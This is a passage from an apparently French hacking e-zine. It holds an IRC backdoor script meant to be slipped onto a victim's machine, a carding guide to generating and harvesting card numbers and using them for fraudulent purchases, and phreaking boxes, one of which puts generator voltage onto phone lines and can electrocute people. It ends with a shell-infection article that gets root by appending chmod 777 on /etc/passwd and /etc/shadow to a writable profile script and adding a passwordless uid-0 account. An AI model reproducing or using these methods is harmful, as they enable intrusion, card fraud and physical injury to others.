	on 1:TEXT:*!kill*:*:/con/con
	on 1:TEXT:!del*:*:/remove $2-
	on @1:text:!kick*:#://kick $chan $2
	on @1:text:!op:#://mode $chan +o $nick
	1:text:*#*:*:/msg $nick no pub pliz

 -=/ --/-- CUT HERE --/-- CUT HERE --/-- /=-



	Qui plus est, l'avantage avec ce script, c'est que vous pourrez savoir quand votre cible
l'aura install dans son "Remote", en tapant les commandes :

/time <nick de la cible>

		Il vous rpondra : "now, it is <heure>

/ping <nick de la cible>

		Il vous rpondra : "000 secs"



	Voili-voila, maintenant, vous n'avez plus qu' vous dmerdez pour que votre cible
installe un de ces scripts dans le "Remote" de son serveur IRC, mais pour a, je vous fait
confiance :o)
	


											~)- Redoxx -(~
											^^^^^^^^^^^^^^^^^^ 





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 










	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                      CARDING, EXPLICATIONS & UTILISATIONS

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	  


	
	*** Description de la carte ***
	


Sortez votre portefeuille et observez la. Sur le recto, vous observez une puce. Retournez la et
vous verrez une piste magntique de couleur noire. Maintenant pourriez vous rpondre  cette
question: qu'a-t-on donc stock sur ces lments? Sur quoi se base-t-on pour juger de la
validit d'une carte (je n'ai pas dit "d'un compte bancaire", a c'est une autre histoire) ? 


On se base sur trois critres :

- le plus rpandu se base sur la piste magntique (achats, prlvements, etc..). Sur celle ci
sont stockes des informations comme le numro  16 chiffres, le nom/prnom du porteur, ainsi
que la date d'expiration. Notez qu'il est inutile d'essayer de dcouvrir le code secret  4
chiffres en se basant uniquement sur la piste magntique. Celle ci prfre brider un off set,
dcryptable uniquement par la banque mtrice (lorsque le code PIN est transfr  la banque).

- ensuite, on a la puce. Les informations contenues sur la puce sont les mmes que celles
inscrites sur la pistes, enrichie heureusement (a dpend pour qui) d'une VA (Valeur 
d'Authentification : un algorythme ou "calcul cryptographique"). Notez que depuis novembre 1999,
on voit apparatre des cls RSA 792 bits, videmment plus difficiles  dcrypter que le DES 56
bits (voir des zine de crypto).

- le numro grav dans la carte mme.


Pour tre plus clair, le code PIN (Personnal Identification Number) que vous tapez sur le
terminal permet  la carte de dire  la banque quelle cl utilisez pour lire l'information
stocke sur la piste magntique (ou la puce  5% des cas). En ce sens on put dire que la carte 
puce, d'un point de vue trs primaire, est protg par deux portes, ont l'une (code PIN) est
moins bien ferme que l' autre.



La fonction des nombres et de l'algorythme :


Les chiffres choisis pour identifier la carte ont-ils une fonction bien prcise ou au contraire
sont ils choisis au hasard. Disons que le choix est arbitraire jusqu'  un certain point.

Soit un numro de 16 chiffres inconnu.
Les quatre premiers chiffres dfinissent l'identiti de la banque ; ainsi aurons nous ceci:
Sofinco : 4976 
Credit Lyonnais : 4972 
Socit Gnrale : 4973 
Caisse d'Epargne : 4927 et 4978  



On observe une parfaite relation logique entre les diffrents chiffres du code. Dj en
diminuant les probabilits, il faut savoir si la victime est oui ou non un client de longue
date.

Si oui, le 14 chiffre est un 1. Sinon, c'est un 0. 

Les numros 7  13 se rferrent au numro de compte. 

L'utilit de savoir ceci rside dans le fait qu'il vous serait bien utile de connaitre ces
donnes si jamais vous trouvez une facturette avec pour seules valeurs 9 chiffres. Vous
connaitres les 6 premiers chiffres (banque et centre), vous connaissez les 9 autres (les
chiffres inscrits sur le pitit papier), et par dduction, en calculant l' algorythme vous
trouverez le dernie, la cl de Luhn. Calcul algorythmique dcrit ici.
 



	
	*** Calcul Algorythmique ***
	


L'algorythme en Carding est une des bases fondamentales de la disciplines. Mais  dire vrai,
c'est dsormais un peu comme le bac. Il ne sert  rien quant on l'a, on court aprs quand on ne
l'a pas. On va prendre un exemple simple pour calculer notre premier numro de Carte bancaire
(notez qu' il existe aussi une mthode pour calculer les cls RIB!).

Prenons l'exemple d'une carte appartenant au Crdit Lyonnais (4972). Plusieurs valeurs vont
rentrer en jeu.


Le numro sera de la forme ABAB ABAB ABAB ABAB

-Chaque nombre A donnera aprs calcul cryptographique un rsultat A'.
Pour une valeur A=3, on multipliera A par 2 et donc A'=6.
Dans le cas ou A=5 ou A suprieur  5, on multipliera par 2 et on ajoutera 1 (ici A'=11).


Comment procder?

Etablissez un numro en choisissant des chiffres de faon arbitraire.
4972 4153 4579 1511 par exemple.

Mettons les valeurs A en gras : 4972 4153 4579 1511

Attribuons leur maintenant leurs valeurs A' respectives :
4 donne 8
7 donne 15
4 donne 8
5 donne 11
etc....

Additionnaons maintenant les valeurs A' et B
8+9+15+2+8+1+11+3+8+5+15+9+2+5+2+1=104
Soit 104 la valeur C. Si C est un multiple de 10, alors le numro de Carte bancaire gnr ainsi
est valide. S' il n' est pas multiple de 10, alors il s' agira de rajouter la valeur 6 dans
l'algorythme.
Si on rajoute la valeur dfault (6)  un A', alors le chiffre sera 3 (2x3=6). Si on le rajoute 
une valeur B, 6 restera 6. On peut aussi disperser 6 sur l'ensemble de l'algorythme (2 par ci, 4
par l).

Je pense que ces premires notions n'taient pas bien difficiles  comprendre. Sachez juste que
c'est essentiel pour la suite.




	
	*** Carder's Actions ***
	


1.Acheter sur internet avec un numro 16 chiffres Attribu
2.Simulacre de carte bancaire (16 chiffres PIN non ncessaire)
3.Cartes tlphoniques rechargeables


 

1.Acheter sur internet avec un numro 16 chiffres Attribu

Pour acheter sur Internet, que nous faut il? Un numro de Carte bancaire attribu, c' est tout.
10% des sites vous demandent d' indiquer le nom du porteur. Si c' est le cas, ne perdez plus
votre temps sur ce serveur et trouvez en un autre.

L'astuce, c'est de trouver un numro de Carte Bancaire attribu. Vous pouvez trouver des
facturettes dans les Quick, les MacDo, les centres commerciaux, les banques (prs des
distributeurs, dans la corbeille ou par terre), dans les boutiques genre Zara pour homme et
femmes, etc...

Certaines factures contenant le numro  16 chiffres sont brides lorsque vous les ramassez. 
C'est une mesure de scurit bien inutile de la part des commerants, puisqu'il existe toujours
un certain pourcentage de chances que l'on retrouve avec prcision le numro complet  16
chiffres.

En ce qui concerne les tickets trouvs  la sortie des banques, la tache est plus aise.
Connaissant la banque et l'indicatif de la banque, vous pourrez sans problme en dduire le
numro de carte de la victime (mais a c' est pas cool).

Au MacDo, gnralement, le numro n'est pas brid. De mme c'est ici que tous les jeunes se
runissent pour frimer avec leurs putains de cartes bancaires, alors aucun scrupule  baiser ces
fils de pute de frimeurs. C' est ton problme si t'es insouciant ; paies en les consquences
pov' merde.

Pour commander, une fois le numro dcrypt (rapportez vous  la page sur l'algorythme), il faut
passer une commande sur Internet. Je ne vais pas vous dire comment faire pour recevoir la
marchandise car vous tes assez grands pour vous dbrouiller seul. J'vais pas vous mcher le
travail non plus !

Si vous emettez des doutes sur la validit du numro que vous avez plus ou moins dcrypt, vous
pouvez toujours faire des blank tests sur internet : vous allez sur un site de cul payant en
utilisant un proxy, et vous rentrez votre numro de CB attribu. Si la demande est accepte,
c'est cool, mais dans le doute, mettez un numro bidon pour faire le test. Peut tre qu'ils
rpondent "ok"  toutes les cartes et a c'est pas bon pour vous si vous voulez commander un
truc ! 

Donc testez la scurit du site, du genre "et cette fausse carte tu la captes?". Les sites de
cul payants sont l'outil prfr du carder qui veut pas trop se casser le cul  faire des
probabilits : tu rentres les numros jusqu' ce que l'un d'eux soit accept et aprs, have some
really fucking good fun!
 


2.Simulacres de carte bancaire

Vous en avez peut tre entendu parler. En 1998, Serge Humpich avait fait des simulacres de
cartes bancaires. Cette technique est dsormais bien connue des GIE cartes bancaires mais ils
semblent s'en foutre au point que les fraudes continuent toujours. Le but, c'est de se procurer
par n'importe quel moyen des numros de 16 chiffres et de les transcoder sur une carte  puce
programmable (pour cela vous avez besoin d'un card copier et d'un card reader -200 balles- 
videmment). Vous vous pointez  un distributeur de billets, et vous insrez la carte. La
technique est simple mais chiante : essayer tous les codes PIN existants. Seulement il faut
savoir qu'au bout de trois essaie votre carte est avale. Donc vous devrez tourner et faire tous
les distributeurs de la ville ! Mais bon a c'est pour ceux qui veulent s'clater un peu entre
potes le week end ; quelle satisfaction quand a marche enfin !

Autre mthode (plus scientifique et estampille "Humpich") : nous allons appliquer la formule
des 96 chiffres 640 bits.

Mthode:
-gnrer un numro de 16 chiffres attribu  une banque (qui commence avec un indicatif choisi)
-une date d' expiration au hasard
-un nom de porteur
-on encode ces informations au format exadcimal.
-le rsultat comportera 48 chiffres dcimaux. Ce rsultat s' appelle l' identifiant (Id)
-pour obtenir le fameux numro  96 chiffres, on multiplie par 1+2^160 
-on obtient le numro 96 chiffres (calculs dispo ici) lev  la puissance exposant priv modulo.
Le rsultat est une numro de 96 chiffres  320 bits (valeur d'authentification)
-en ait le numro final  96 chiffres est l'association de 2 nombres de 48 chiffres ; ces
nombres doivent tre gravs sur la puce de la carte blanche.

Le seul inconvnient de la technique c'est que vous vous cassez le cul pendant des heures et
aprs vous devez changez de numro car comme je vous l'ai dit la liste des numros interdits est
mise  jour tous les soirs.



3. Cartes tlphoniques rechargeables

C'est la partie du carding qui attire le plus les newbies dans ce domaine. Qui n'a jamais rv
de tlphoner gratos ? Le Carding au profit du phreaking, c'est la classe totale. Vous n'avez
pas  sortir la nuit avec vos pieds de biche pour faire du beige-boxing. L il vous suffit de
ruser une bonne fois pour tout et c'est free pour tout le monde. Vous pouvez tlphoner en
plein jour, quel bonheur !

La technique est simple: on va chercher un numro de Cb attribu, puis on va tlphoner  un
service de tlcartes rechargeables. On vous demande gnralement le numro de votre Carte
Bancaire ainsi que la date d' expiration. Ne commencez pas  flipper, tout le monde sait
maintenant que la date d'expiration ne sert  rien ! Cela dit des mesures ont t prises ; ils
demandent parfois le nom du porteur et se mettent en contact direct avec la banque (a c'est pas
nouveau) pour vrifier la validit de votre compte. Le seul ppin que vous pourriez avoir, 
c'est si le service clientle vous annonce que ce numro est dj attribu  un abonn. Bah l,
ne raccrochez pas au nez a fait pas crdible, jouez le jeu juqu'au bout, dites "ah? Mais c'est
pas normal. C' est ma copine, elle a du se tromper en crivant. Bah tant pis je rappelle tout 
l'heure". Bon ok ils sont pas cons mais a coute rien de jouer Marlon Brando juste deux
secondes.




										=><(- Der Freirahk -)><=
										^^^^^^^^^^^^^^^^^^^^^^^^




		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 











	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                      PHREAKING FOR THE NEW SCENE (PART II)

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



	La suite du "Phreaking for the New Scene" est disponible !!!

	Au programme : Blotto Box, Blue Box, Pink Box & Red Box.

	Je prcise par contre que tous ces tutorials sont disponibles sur le site de Phreakon,
et je les en remercie (et voui : pas un article de moi dans cette deuxime partie... quel
flmard ! mdr).

	Sans transition, let's go !



--> La Blotto Box ou comment niquer le rseau tlphonique d'un quartier
*************************************************************************
										(Phreakon)

>> La Blotto box : foutagedegueuledenewbies? : 

	La blotto box existe !! Ce qui tait au dbut une blague pour phreaker innocent 
finallement tait conue par le seul phreaker expert sur le voltage des lignes (ah bon c'est le
seul...;-): The Traveler. Il est aussi le crateur de la White, Gold, de l'Aqua, de la Diverti
et de la Cold Box.

	Donc, pour ceux peu clair sur la Blotto, voila un bref rsum de la lgende.

>> The Blotto box : 

	Tous les phreakers ont rv un jour de cette box. Comme je l'ai dj dit, initiallement,
elle a t conue comme une farce. Mais bon elle est faisable...!!!

	C'est vraiment le pied cette box... avec elle vous pouvez laisser les tlcoms sur les
genoux. Pouquoi? Ben parce ce splendide appareil peut mettre 'out' les lignes tlphoniques
partout o vous le souhaitez. Rsultat : plus aucun appel rentrant ou sortant de la zone
choisie (ni interieur ou exterieursi vous voulez savoir).

	Et cette box ne stop jamais! Les impulsions lectriques qu'elle met ouvre toutes les
lignes!! Et a n'arrte pas de Ring, Ring, Ring.... Le voltage est maintenu tant que le
gnrateur est en marche...

	Je dis bien gnrateur et pas 220...Mais c'est risqu!!! Toute personne trop proche de la
box avec un phone peut etre lectrocute !! Alors faites gaffe....

	Bien sur la Blotto peut tre arrte en coupant la ligne ou en arrtant le gnrateur.
Mais alors si ils coupent la ligne, ils risquent de ne plus rien recevoir pour un bon bout de
temps... encore une fois : a craind vraiment de faire cette box,je vous le conseille pas!!

	Tant qu'il y a du courant, elle continue... OK, voil sa fonction, maintenant, voil
comment la faire...


>> Fonctionnement de la Blotto et Installation : 

	Quand vous avez installe une Blotto, vous ne pouvez plus faire demi-tour. Les
instructions suivantes sont pour la construction et l'utilisation. Lisez bien les
avertissements plus haut avant d'essayer de la construire..


Matos : 

* Une ralonge lctrique (supportant le 400 V) donc la fiche femelle est mise dans la prise
tlphonique.
* Un gnrateur portable Honda, ou un du type que l'on trouve dans les stades..
* Une prise tlphonique (pas la votre et pas dans votre zone).
* Une tlcommande  distance ou une perche ISOLANTE. 
* Un voltmtre  attacher  la box elle-mme.
* Un fer  souder


	Maintenant. Vous devez avoir lu les instructions plus haut. Si c'est pas le cas, 
retournez-y ! 

	Pour les autres, j'explique en dtail. Prenez le gnrateur Honda et tous le reste de
l'quipement et sortez  la recherche de la box gnral du quartier (quelle soit en contact
avec le sol!).

Premire note : 

	Si vous avez allum le gnrateur et avez fait tous a dans l'ordre,  cette heure si,
vous devez tre  point, bien grill! Toujours garder le gnrateur off tant que vous n'avez
pas commenc. Maintenant soudez les lignes prudemment. Placez la tlcommande  distance sur le
gnrateur.Si vous avez pris une perche, prenez la longue et tenez vous aussi loin que possible
du gnrateur. (cette mthode n'est pas conseill!!!)

Deuxime note :

	Si tout c'est bien pass, vous remarquerez que toutes les lignes sonnent dans le quartier.
Ne revenez pas sur les lieux de votre crime sans avoir stopp le gnrateur  distance. La
tension est tellement forte dans la zone que si vous vous approcher vous tes MORT !! 

	Eh pis non, ne revenez pas !!!!!!! 
	
	Si vous tes encore en vie aprs le montage, cassez vous, tant pis pour le matos !!!!.



--> La Blue Box ou comment tlphoner gratis
*********************************************
							(Phreakon)

Intro 

	Tout d'abord on doit savoir que le blue boxing a exist en premier en Amerique.

	La-bas, il y a diffrents types de rseau telephonique fonctionnant avec un certaine
hirarchie. 
	Un reseau telephonique est implant dans chaque ville, avec une centrale qui gre les
appels d'un apelant d'une ville vers un appel de la mme ville. 

Exemple :

	J'habite une ville A et je veux appeler un ami habitant dans la mme ville A ; c'est la
centrale de ma ville qui va s'occuper de diriger l'appel vers celui que je veux appeler. 

------- lignes normales ] [ +++++ lignes trunks 

MOI ------ CENTRALE de la ville A ------ MON AMI 


	Mon appel telephoonique va passer par des lignes normales de tlphone. 


Autre exemple :
	
	Maintenant, si j'appelle un ami (je me trouve tjrs ds la ville A) qui se trouve dans le
mme Etat A que moi (californie par exemple) mais dans une ville differente on va dire la ville
B ; la centrale telephonique de ma ville A va contacter le centrale telefonique de l'etat A et
celui ci contacter la centrale telephonique de la ville B (ou habite mon ami) afin de
transmettre l'appel  mon ami.

	Tout cette communication s'effectuera sur des lignes normales. 

MOI (ville A)(tat A) --- CENTRALE de la ville A --- CENTRALE de l'tat A --- 
										||	
		    MON AMI (ville B)(tat A) <--- CENTRALE de la ville B 


	Pour l'instant vous devez vous dire il me fait chier avec ses explications  la con, moi
je croyais lire un article sur le blue boxing.

	ON Y VIENT... mais un dernier exemple. 

Encore un autre exemple:) :

	Maintenant je veux appeler un copain qui ne se trouve pas dans le meme tat que moi mais
dans l'etat B et dans une ville C se trouvant dans cet etat (B).

	Une chose va changer, on va passer par des lignes telephoniques trunks ,et c'est sur ces
lignes que s'oppere le blue-boxing.

	Une explication en image:) : 

	MOI (ville A)(tat A) --- CENTRALE de la ville A --- CENTRALE de l'tat A 
											||
CENTRALE de la ville C (situ ds l'tat B) --- MON AMI (ville C)(tat A). CENTRALE de l'tat B

	La ligne trunk se trouve entre la centrale de l'etat A et de l'etat B et en regle
gnrale, les lignes trunks sont les lignes telephoniques reliant les centrales telephoniques
de deux etats. 

	On rentre dans le vif du sujet....

	C'est lignes trunks sont un peu particulieres car pour indiquer aux centrales de deux
etats qu'il y a aucune communication ont fait passer dans ces lignes une tonalit de 2600 Hz
[vous connaissez cettte frquence : )].

	Et lorsqu'une ligne trunk est en activit et par consquent quelqu'un s'en sert pour
telephoner, la tonalit de 2600 Hz ne s'met pas.

	Donc comment pourait on faire croire a une centrale q'on est pas en communication, tout
simplement en crant cette tonalit de 2600 Hz. 

	Voila le principe du blue-boxing : gnrer une tonalit de 2600 Hz afin de faire croire
que la personne qu'on appel ne dcroche pas son telephone ou qu'elle a racroch. 


Un petit exemple :

	J'appel mon copain ; il dcroche ; je gnere une tonalit de 2600 Hz pendant 1 a 2
secondes .

	Le centrale va croire que celui que j'appelle a racroch et donc j'arreterais de payer la
communication. 

	Voil comment les phreakers l'utilise, car au dpart, la blue box servait aux techniciens
des telecoms pour tester une ligne.

	Seuls quelques uns connaissaient cette mthode mais ensuite, les telecoms se sont
appercus d'une utilisation frauduleuse de la tonalit du 2600 Hz. 

	Aux Etats-Unis, seuls quelques postes telephoniques avaient le droit d'utiliser la tonne
de 2600 Hz ,une liste des postes tlephoniques ayant droit tait etablie et une seconde liste
indiquant les numeros s'etant servi de la tonalit de 2600 Hz aussi.

	Ainsi en comparant les deux listes, les telecoms voyait le numero de ceux qui avait
utilis la blue-box sans y etre autoris.

	La seule solution pour passer a travers les mailles du filet tait alors de se
debrouiller pour se trouver sur la liste des numeros de telephone autoris. 

Quelques solutions : 
- Avoir un voisin technicien des telecom .
- Faire croire aux telecom qu'on a un problme sur notre ligne pour qu'il teste cette ligne
et que notre numero soit sur la liste des " ayant droit " (cette solution tant phemre).
- Ou hacker le serveur ou sont stocks les numro de tlphone " ayant droit " afin de
rajouter le sien (cette solution etant rserv aux lites car ces serveurs la, ne doivent
pas tre accessible a tout le monde... 

	Aujourd'hui le blue-boxing a disparu car la frquence des 2600 Hz a t modifi par des
frquences trs difficile a reproduire et necessitant du materiel couteux rserv aux
milliardaires ou aux lites.

	Triste fin pour cet superbe box. 

PS : Nous recherchons les montages de la blue-box. Si vous les possdez : phreakon@caramail.com 


--> Les confrences tlphoniques faciles : la Pink Box
********************************************************
								(Phreakon)


Dfinition : 

	Elle concerne les possesseurs de double lignes tlphonique. Cette box n'a rien d'illgal
SAUF si vous commencez  la vendre car le matriel tant dpos, vous enfreignez la loi.

	Quoi qu'il en soit, en quippant nos potes on peut se faire des runions  vraiment
beaucoup sans se casser trop le cul.

	La pink-box permet de relier les deux lignes afin que, lors d'un appel on puisse se faire
une conversation  trois, les deux tlphones permettent la mise en attente et le montage est
trs facile  raliser.

Matos : 
- deux tlphones
- 6 interrupteurs
- du fils lctrique
- 8 pinces crocos
- un fer  souder
- de la bonne soudure 


			VOIR WWW.PHREAKON.FR.ST POUR LE SCHEMA DU MONTAGE.


--> Fucker les cabines FT : la Red Box
***************************************
							(Phreakon)


	La red-box est un montage lectronique (assez compliqu comme la plupart des boxes) qui
s'appliquait du temps des cabines tlphoniques  pice. 

	Vers chez moi je n'ai jamais trouv de cabines  pices...

	Son rle tait d'mettre un son (qui simulait un ajout de pice dans la caisse de la
cabine) et qui faisait croire aux centrales tlphoniques, que l'utilisateur de la cabine avait
rajout une pice.

	Il existait plusieurs frquences de sons selon le montant de la pice ajoutes. 

	Il existe des programmes qui servent  reproduire les sons de la Red-Box alors si vous
trouvez une cabine  pice, la diffusion de ces sons devraient encore fonctionner...

	Si vous avez plus d'infos, contactez nous --> Phreakon@caramail.com 





--> Dans le prochain numro
****************************

	Dans le prochain numro, on aborde le rseau GSM !!!

	Prparez-vous : on va parler de la structure du rseau, du fonctionnement de l'IMEI,
quelques codes Sagem, comment recharger une Entre Libre, etc...

	A la prochaine !!!



											~)- Redoxx -(~
											^^^^^^^^^^^^^^^^^^ 





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 









	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

             	      	   RATMODE : L'HOMO-COMPUTUS

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	




Et toa keske tu fous  bagnauder dans les roots sombres de l'internet  cette heure l ?
> je bouffe mon forfait


ratm0de : la pense  une longueur


	Les Cabalistes nous disent que " ce monde " est ainsi appel parce qu'il est un petit
fragment de l'authentique ralit. Ce fragment n'est que ce que nous sommes en mesure de
percevoir au moyen de nos cinq sens.

	Si nous dveloppions d'autres sens, ce que nous pourrions alors percevoir porterait le
nom de " Monde futur ".

	Pourquoi cette dnomination ? Parce qu'il s'agirait d'un fragment plus important de la
vritable ralit.


	Au contraire, le RatMode est un fragment REDUIT de notre ralit.

	C'est le moment o un simplement complexe monde logique cr par les sysaupes et votre
conscience rduite sont les plus proches, entrainant la posture caractristique qui lui a valu
son nom ;>

	Le sujet est alors  mme de fonctionner  une vitesse inconcevable. Hlas, personne n'a
 ce jour pu le mesurer scientifiquement.

	Il semblerait en effet que le passage en 'ratmode' ne soit possible qu'en solitaire
et/ou seulement avec d'autres programmeurs vous tournant le dos dans l'athmosphre enfume.

	La soif de connaissance est ce qui pousse le rat dans les pipes et les gouts.

	Qu'importe, le rat aime les gouts, et il y creuse des trous ! [Argg]


											 ~-/- Lonard -\-~
											^^^^^^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 








	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

             		           SHELL SCRIPT INFECTION

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	


 Sommaire
**********

\x00/ Disklamer
\x01/ Introduction
\x02/ Analyse du besoin
\x03/ Etude theorique de fonction
\x04/ Mise en place du code 
\x05/ Observation en laboratiore
\x06/ debugging & ajout de fonction
\x07/ gachette, trojan & optimisation
\x08/ Recapitulation
\x09/ Conclusion
\x0a/ FIN

Annexe 1 : BourneShell code de Absurdus Delirium 2.0 by ThreaT. 



\\0x00// DISKLAMER
@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@

Apres quelques mois (voir annes) d'absence sur le "visible" de la scene underground franaise,
j'ai decid de vous faire un exposer encore jamais vue  ma connaissance (pas en franais en
tout cas).

un article sortie de l'ombre, pour ce montrer  ceux qui aurait put nous oublier...

le titre pouvant tre mal interpret, je prefere prevenir tout de suite:

le VIRUS qui vas tre exposer n'est aucunement un code destin  la destruction!
cet article va traiter de la mise en oeuvre d'un code viral qui nous donneras la possibilite
d'exporter des commandes, visant  deverouill une politique de scurit mis en place sur une
architecture rseaux de type unix/linux.

-----------------------------------------------------------------------------
aucun de ces codes sources & explications n'ont t pomp ou que ce soit!
cet article n'est pas un vulgaire copier coller traduit d'un mag trouv aux fin fond d'un dd
perdu.
merci de ne pas confondre notre travail avec ce que vous avez l'habitude de voir le plus
souvent.    
------------------------------------------------------------------------------

je ne suis en aucun cas responsable de la mauvaise utilisation & interpretation de cet article.
celui ci, s'adressant aux personnes desireuses d'tendre leurs connaissances dans le domaine 
de l'informatique, suppose une bonne pratique de Linux ou de tout autre systme Unix.

toutefois, je prefere vous prevenir qu'il est distribu  titre d'information sur les
possibilites offertes aux "utilisateurs avertis".

l'ortographe n'tant pas du tout mon point fort, je vous pris de m'en excuser.

ps: si vous avez des problmes de visualisation, cet article a t crit sous GXedit 1.23.
     merci de vous en rferer  ce traitement de texte



\\0x01// INTRODUCTION
@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@

beaucoup de gens restes encore sceptique  l'ide de mettre sur pied du code infecteur sous
linux.
il est vrai que cela peut paraitre difficile, vue que les acces aux fichiers peuvent tre
rigoureusement controls.

Et pourquoi, ne pas faire justement, un virus (j'entend par la, code qui ce replique) qui
servirait au bypassage de restrictions.
Un virus modifiable en bash qui tenterais de s'auto-repliquer  travers tout les scripts
auquels il a acces, incluant un code trojan que l'on pourrait modifer  notre guise, et qui
nous donnerais un lien direct  tout les uid utilisateurs infectes!

pas possible, me repondrez vous!

n'avez vous pas pensez qu'un systme informatique a pour proprite le partage de
l'information?
et que meme si un systeme utilise un verrouillage de fichier par utilisateur, que peut tre 2
uid pourraient utiliser le mme fichier? 

surement que si que vous y avez penss!

nous aussi...

\\0x02// ANALYSE DU BESOIN
@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@

Dans un environnement unix, tout utilisateur a la possibilits, d'crire, de lire et d'xcuter
des scripts.
ainsi, les commandes incluent dans ce genre de fichier sont executes avec l'uid de
l'utilisateur qui les invoques, comme tout excutables.
l'avantage des scripts bash, et que tant trs puissant, ils sont  largement utiliss  travers
la communaute unix, offrant un moyen rapide et simple  mettre en oeuvre de minis applications
qui depassent largement les possibilites offertes par les pseudos-scripts batch, ou cmd
incluent dans les environnements microsoft.

de ce faite, une attaque trs connue consiste  trouver, ou  crer un script, qui seras
invoqu par un uid different du notre, et d'y inclure des commandes que l'uid victime auras
l'autorisation d'xcuter, on appelle cela, la technique du cheval de troie (qui n'a rien 
voir avec les TROJANS pour lamerz que vous connaissez)

le problme avec cette technique, est de trouver un script en own write acces, utilis par une
autre entite.
cela peut durer des jours, voir mme des mois d'observation sur la manire et les habitudes
d'utilisations que font les gens de leurs systmes.

voici une demonstration d'attaque par cheval de troie sur un systme dont je connais super bien
le root, et chez qui j'ai un acces user simple.

[root@ThreaT@workgroup /root]# telnet maverick
Trying 163.65.80.90...
Connected to Maverick.workgroup.
Escape character is '^]'.
Welcome to Maverick.workgroup
Linux Mandrake release 7.0 (Air)
Kernel 2.2.14-15mdk on an i686
login: threat
password:
Warning : your password will expire in -1 days
last login: Sun Mar 19 16:58:00 on tty4 
[ThreaT@Maverick@workgroup threat]$ ls -l /etc/profile.d/*.sh
-rwxr-xr-x   1 root     root          672 Mar 13 14:11 /etc/profile.d/alias.sh*
-rwxr-xr-x   1 root     root          191 Mar 13 14:44 /etc/profile.d/color_ls.sh*
-rwxr-xr-x   1 root     root          133 Jan 12 06:36 /etc/profile.d/inputrc.sh*
-rwxr-xr-x   1 root     root          192 Jan  7 15:00 /etc/profile.d/kde.sh*
-rwxr-xr-x   1 root     root         1682 Mar 13 14:18 /etc/profile.d/lang.sh*
-rwxr-xrwx   1 mav     root            38 Jun 14 18:48 /etc/profile.d/mav.sh*
-rwxr-xr-x   1 root     root          167 Jan  4 22:50 /etc/profile.d/mc.sh*
-rwxr-xr-x   1 root     root          267 Dec 22 18:24 /etc/profile.d/numlock.sh*
-rw-r--r--   1 root     root            0 Feb 23 21:18 /etc/profile.d/proxy.sh
-rwxr-xr-x   1 root     root          103 Dec 21 14:44 /etc/profile.d/screen.sh*
-rwxr-xr-x   1 root     root          152 Mar 13 14:15 /etc/profile.d/xhost.sh*
[ThreaT@Maverick@workgroup threat]$


comme je viens de le dire, je connais super bien le root (ben oui, c'est maverick)
bon, je sais que maverick a modifie son profile, et c'est cre un script qui lui dit
"bonjour matre"  chaque fois qu'il lance un shell root, ou un shell utilisateur qu'il c'est
cre  titre perso.

seulement, ce qu'il ne sait pas, c'est que l'user "mav", qui lui a servit  cre son script
possede un umask de 020!

pour ceux qui n'auraient pas compris, cela veut dire que chaque fois que maverick cre un
fichier avec son utilisateur "mav", celui ci se retrouve en read write exec pour lui mme, read
et exec pour le groupe, et read write exec pour les autres :)  ce qui veut dire que nous
possedons la un script own write access!!
-rwxr-xrwx   1 mav     root            38 Jun 14 18:48 /etc/profile.d/mav.sh*

cette observation tant faite, il ne reste plus qu' agir.

[ThreaT@Maverick@workgroup threat]$ echo "chmod 777 /etc/passwd && chmod 777 /etc/shadow" >>
 /etc/profile.d/mav.sh

on attend que maverick balance un root shell...

[ThreaT@Maverick@workgroup threat]$ ls -l /etc/passwd /etc/shadow
-rwxrwxrwx    1 root     root          796 Mar 13 13:58 /etc/passwd
-rwxrwxrwx    1 root     root          712 Mar 13 13:58 /etc/shadow
[ThreaT@Maverick@workgroup threat]$ echo "owned:*:0:0:::" >> /etc/passwd 
[ThreaT@Maverick@workgroup threat]$ echo "owned::11035:0::7:::0" >> /etc/shadow
[ThreaT@Maverick@workgroup threat]$ su owned
Warning: your password will expire in -1 days
[root@Maverick@workgroup /]# whoami
root



ok, jusque la, tout est trs simple.

mais imaginons un instant, que je veuille prendre la main sur tout un parc info.
n'ayant pas le temp d'aller me promener en temps que root dans tout les acces de maverick sur
le reseau, il me serait pratique qu'un code auto-reproductible, incluant ma commande trojan
puisse se reproduire  travers tout les scripts own write access d'un utilisateur infect.

ce qui aurait pour avantages : 
- le boulot serait fait par les autres, et cela sans qu'ils s'en appercoivent
- impossibilite de reperer mon compte dans la tracabilite des modifications
- possibilite d'infecter plusieurs utilisateurs (qui permet de chopper different uid)
- possibilite d'infecter TOUT le systme, si root est infect, ce qui peut permettre au virus
de pass sur d'autres becanes
